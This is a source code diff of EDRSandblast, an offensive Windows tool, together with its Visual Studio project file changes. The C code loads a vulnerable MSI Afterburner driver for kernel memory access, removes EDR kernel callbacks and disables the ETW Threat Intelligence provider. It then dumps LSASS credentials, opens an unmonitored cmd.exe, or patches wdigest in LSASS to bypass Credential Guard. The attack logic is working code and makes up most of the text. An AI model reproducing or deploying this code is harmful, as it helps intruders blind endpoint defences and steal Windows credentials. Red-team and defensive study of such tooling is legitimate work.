DWORD driverAttrib = GetFileAttributes(driverPath);
|
||||
if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
|
||||
_tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
|
||||
TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv");
|
||||
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
|
||||
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
|
||||
_tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n"));
|
||||
ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath);
|
||||
if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) {
|
||||
_tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Install the vulnerable driver to have read / write in Kernel memory.
|
||||
_tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n"));
|
||||
status = InstallVulnerableDriver(driverPath);
|
||||
if (status != TRUE) {
|
||||
_tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n"));
|
||||
_tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n"));
|
||||
Sleep(20000);
|
||||
status = UninstallVulnerableDriver();
|
||||
Sleep(2000);
|
||||
status = status && InstallVulnerableDriver(driverPath);
|
||||
Sleep(2000);
|
||||
if (status != TRUE) {
|
||||
_tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
Sleep(5000);
|
||||
|
||||
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
|
||||
_tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
if (checkEDRDrivers->index) {
|
||||
isSafeToExecutePayload = FALSE;
|
||||
}
|
||||
|
||||
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
|
||||
_tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (ETWTIState) {
|
||||
isSafeToExecutePayload = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (startMode != audit) {
|
||||
|
||||
if (isSafeToExecutePayload) {
|
||||
_tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n"));
|
||||
|
||||
// Do the operation the tool was started for.
|
||||
switch (startMode) {
|
||||
|
||||
// Start a process executing cmd.exe.
|
||||
case cmd:
|
||||
_tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
|
||||
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
|
||||
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n"));
|
||||
// Find cmd.exe path.
|
||||
TCHAR systemDirectory[MAX_PATH * 2] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
TCHAR cmdPath[MAX_PATH * 2] = { 0 };
|
||||
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
|
||||
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
|
||||
_tsystem(cmdPath);
|
||||
break;
|
||||
|
||||
// Dump the LSASS process in a new thread.
|
||||
case dump:
|
||||
if (kernelMode) {
|
||||
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n"));
|
||||
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
||||
SetCurrentProcessAsProtected(verbose);
|
||||
}
|
||||
}
|
||||
|
||||
if (_tcslen(outputPath) == 0) {
|
||||
TCHAR outputName[] = TEXT("\\lsass");
|
||||
_tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName));
|
||||
}
|
||||
|
||||
_tprintf(TEXT("[+] Attempting to dump LSASS\n"));
|
||||
HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL);
|
||||
if (hThread) {
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
|
||||
if (lpExitCode != 0) {
|
||||
_tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
break;
|
||||
|
||||
|
||||
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
|
||||
case credguard:
|
||||
if (kernelMode) {
|
||||
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n"));
|
||||
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
||||
SetCurrentProcessAsProtected(verbose);
|
||||
}
|
||||
}
|
||||
if (_tcslen(wdigestOffsetCSVPath) == 0) {
|
||||
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
|
||||
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
|
||||
wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath);
|
||||
if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
||||
_tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (disableCredGuardByPatchingLSASS()) {
|
||||
_tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
}
|
||||
|
||||
// If the the payload is not safe to execute.
|
||||
else {
|
||||
_tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and starting another process...\n"));
|
||||
#ifdef _DEBUG
|
||||
assert(kernelMode);
|
||||
#endif
|
||||
/*
|
||||
* 1/3 : Removing kernel-based monitoring.
|
||||
*/
|
||||
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
|
||||
if (ETWTIState) {
|
||||
DisableETWThreatIntelProvider(verbose);
|
||||
}
|
||||
// If kernel callbacks are monitoring processes, we remove them and start a new process.
|
||||
if (checkEDRDrivers && checkEDRDrivers->index != 0) {
|
||||
_tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n"));
|
||||
// Removes EDR drivers callbacks for process / threads creation and image loading.
|
||||
removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!removedEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n"));
|
||||
RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n"));
|
||||
RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n"));
|
||||
RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Checks that EDR drivers were indeed removed and if so, go on with the payload.
|
||||
_tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
||||
free(removedEDRDrivers);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (checkEDRDrivers->index != 0) {
|
||||
_tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting..."));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(checkEDRDrivers);
|
||||
}
|
||||
|
||||
/*
|
||||
* 2/3 : Starting "resursively" our process.
|
||||
*/
|
||||
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
|
||||
_tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n"));
|
||||
_tprintf(TEXT("\n\n"));
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
memset(&si, 0, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
// Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process.
|
||||
TCHAR* currentCommandLine = GetCommandLine();
|
||||
TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver"));
|
||||
TCHAR* serviceNameOpt = _tcsdup(TEXT(" --service "));
|
||||
TCHAR* svcName = GetServiceName();
|
||||
|
||||
//TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const".
|
||||
const SIZE_T commandLineMaxLen = 32768;
|
||||
TCHAR* commandLine = (TCHAR*) calloc(commandLineMaxLen, sizeof(TCHAR));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, serviceNameOpt, _tcslen(serviceNameOpt));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, svcName, _tcslen(svcName));
|
||||
|
||||
if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
|
||||
WaitForSingleObject(pi.hProcess, INFINITE);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] An error occured while trying to create a new process\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(commandLine);
|
||||
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
/*
|
||||
* 3/3 : Restoring state after execution.
|
||||
*/
|
||||
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
|
||||
if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) {
|
||||
// Restores the EDR drivers.
|
||||
_tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n"));
|
||||
RestoreEDRCallbacks(removedEDRDrivers);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Checks that the EDR drivers were indeed restored.
|
||||
_tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n"));
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) {
|
||||
_tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(checkEDRDrivers);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
}
|
||||
|
||||
// Renable the ETW Threat Intel provider.
|
||||
// TODO : make this conditionnal, just as kernel callbacks restoring ?
|
||||
if (ETWTIState) {
|
||||
EnableETWThreatIntelProvider(verbose);
|
||||
}
|
||||
|
||||
if (removedEDRDrivers) {
|
||||
free(removedEDRDrivers);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (kernelMode && removeVulnDriver) {
|
||||
Sleep(5000);
|
||||
_tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n"));
|
||||
status = UninstallVulnerableDriver();
|
||||
if (status == FALSE) {
|
||||
_tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n"));
|
||||
_tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetServiceName());
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n"));
|
||||
}
|
||||
}
|
||||
|
||||
return lpExitCode;
|
||||
}
|
||||
@@ -24,32 +24,33 @@
|
||||
<ProjectGuid>{7e3e2ece-d1eb-43c6-8c83-b52b7571954b}</ProjectGuid>
|
||||
<RootNamespace>EDRSandblast</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>EDRSandblast_Core</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
@@ -58,6 +59,7 @@
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
@@ -82,9 +84,14 @@
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<IncludePath>$(SolutionDir)EDRSandblast\Includes;$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<RunCodeAnalysis>false</RunCodeAnalysis>
|
||||
<EnableClangTidyCodeAnalysis>true</EnableClangTidyCodeAnalysis>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<IncludePath>$(SolutionDir)EDRSandblast\Includes;$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
@@ -97,7 +104,7 @@
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
@@ -115,7 +122,7 @@
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
@@ -130,7 +137,7 @@
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
@@ -143,52 +150,106 @@
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>Includes\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
<ProgramDatabaseFile />
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRBypass\ETWThreatIntel.c" />
|
||||
<ClCompile Include="EDRBypass\KernelCallbacks.c" />
|
||||
<ClCompile Include="EDRSandblast.c" />
|
||||
<ClCompile Include="Drivers\DriverDBUtil.c" />
|
||||
<ClCompile Include="Drivers\DriverRTCore.c" />
|
||||
<ClCompile Include="KernellandBypass\ETWThreatIntel.c" />
|
||||
<ClCompile Include="KernellandBypass\KernelCallbacks.c" />
|
||||
<ClCompile Include="KernellandBypass\KernelUtils.c" />
|
||||
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
|
||||
<ClCompile Include="UserlandBypass\Syscalls.c" />
|
||||
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
|
||||
<ClCompile Include="Utils\FileUtils.c" />
|
||||
<ClCompile Include="Utils\HttpClient.c" />
|
||||
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
|
||||
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
|
||||
<ClCompile Include="Userland\PEBBrowse.c" />
|
||||
<ClCompile Include="Userland\PEParser.c" />
|
||||
<ClCompile Include="Userland\UserlandHooks.c" />
|
||||
<ClCompile Include="Utils\ListUtils.c" />
|
||||
<ClCompile Include="Utils\RemotePEBBrowser.c" />
|
||||
<ClCompile Include="Utils\PdbSymbols.c" />
|
||||
<ClCompile Include="UserlandBypass\Firewalling.c" />
|
||||
<ClCompile Include="UserlandBypass\UserlandHooks.c" />
|
||||
<ClCompile Include="Utils\DriverOps.c" />
|
||||
<ClCompile Include="Utils\FileVersion.c" />
|
||||
<ClCompile Include="Utils\FirewallOps.cpp" />
|
||||
<ClCompile Include="Utils\IsEDRChecks.c" />
|
||||
<ClCompile Include="Utils\IsElevatedProcess.c" />
|
||||
<ClCompile Include="Utils\KernelMemoryPrimitives.c" />
|
||||
<ClCompile Include="Utils\KernelPatternSearch.c" />
|
||||
<ClCompile Include="Utils\LSASSDump.c" />
|
||||
<ClCompile Include="Utils\ProcessDump.c" />
|
||||
<ClCompile Include="Utils\NtoskrnlOffsets.c" />
|
||||
<ClCompile Include="Utils\PEBBrowse.c" />
|
||||
<ClCompile Include="Utils\PEParser.c" />
|
||||
<ClCompile Include="Utils\StringUtils.c" />
|
||||
<ClCompile Include="Utils\SignatureOps.c" />
|
||||
<ClCompile Include="Utils\SW2_Syscalls.c" />
|
||||
<ClCompile Include="Utils\SyscallProcessUtils.c" />
|
||||
<ClCompile Include="Utils\WdigestOffsets.c" />
|
||||
<ClCompile Include="Utils\WindowsServiceOps.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="EDRSandblast.h" />
|
||||
<ClInclude Include="Includes\CredGuard.h" />
|
||||
<ClInclude Include="Includes\DriverDBUtil.h" />
|
||||
<ClInclude Include="Includes\DriverRTCore.h" />
|
||||
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
|
||||
<ClInclude Include="Includes\FileUtils.h" />
|
||||
<ClInclude Include="Includes\HttpClient.h" />
|
||||
<ClInclude Include="Includes\DriverOps.h" />
|
||||
<ClInclude Include="EDRSandBlast.h" />
|
||||
<ClInclude Include="Includes\ETWThreatIntel.h" />
|
||||
<ClInclude Include="Includes\FileVersion.h" />
|
||||
<ClInclude Include="Includes\Firewalling.h" />
|
||||
<ClInclude Include="Includes\FirewallOps.h" />
|
||||
<ClInclude Include="Includes\IsEDRChecks.h" />
|
||||
<ClInclude Include="Includes\IsElevatedProcess.h" />
|
||||
<ClInclude Include="Includes\KernelCallbacks.h" />
|
||||
<ClInclude Include="Includes\KernelMemoryPrimitives.h" />
|
||||
<ClInclude Include="Includes\KernelPatternSearch.h" />
|
||||
<ClInclude Include="Includes\LSASSDump.h" />
|
||||
<ClInclude Include="Includes\KernelUtils.h" />
|
||||
<ClInclude Include="Includes\ListUtils.h" />
|
||||
<ClInclude Include="Includes\ProcessDump.h" />
|
||||
<ClInclude Include="Includes\RemotePEBBrowser.h" />
|
||||
<ClInclude Include="Includes\NtoskrnlOffsets.h" />
|
||||
<ClInclude Include="Includes\PEBBrowse.h" />
|
||||
<ClInclude Include="Includes\PEParser.h" />
|
||||
<ClInclude Include="Includes\RunAsPPL.h" />
|
||||
<ClInclude Include="Includes\SignatureOps.h" />
|
||||
<ClInclude Include="Includes\StringUtils.h" />
|
||||
<ClInclude Include="Includes\SW2_Syscalls.h" />
|
||||
<ClInclude Include="Includes\SyscallProcessUtils.h" />
|
||||
<ClInclude Include="Includes\Syscalls.h" />
|
||||
<ClInclude Include="Includes\Undoc.h" />
|
||||
<ClInclude Include="Includes\Undoc_64.h" />
|
||||
<ClInclude Include="Includes\UserlandHooks.h" />
|
||||
<ClInclude Include="Includes\WdigestOffsets.h" />
|
||||
<ClInclude Include="Includes\CredGuard.h" />
|
||||
<ClInclude Include="Includes\RunAsPPL.h" />
|
||||
<ClInclude Include="Includes\WindowsServiceOps.h" />
|
||||
<ClInclude Include="Includes\PdbSymbols.h" />
|
||||
<ClInclude Include="Includes\ObjectCallbacks.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
|
||||
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild>
|
||||
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</DeploymentContent>
|
||||
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild>
|
||||
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</DeploymentContent>
|
||||
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</ExcludedFromBuild>
|
||||
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</DeploymentContent>
|
||||
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</ExcludedFromBuild>
|
||||
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</DeploymentContent>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -15,12 +15,6 @@
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRSandblast.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="EDRBypass\KernelCallbacks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LSASSProtectionBypass\CredGuard.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
@@ -33,9 +27,6 @@
|
||||
<ClCompile Include="Utils\DriverOps.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\LSASSDump.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
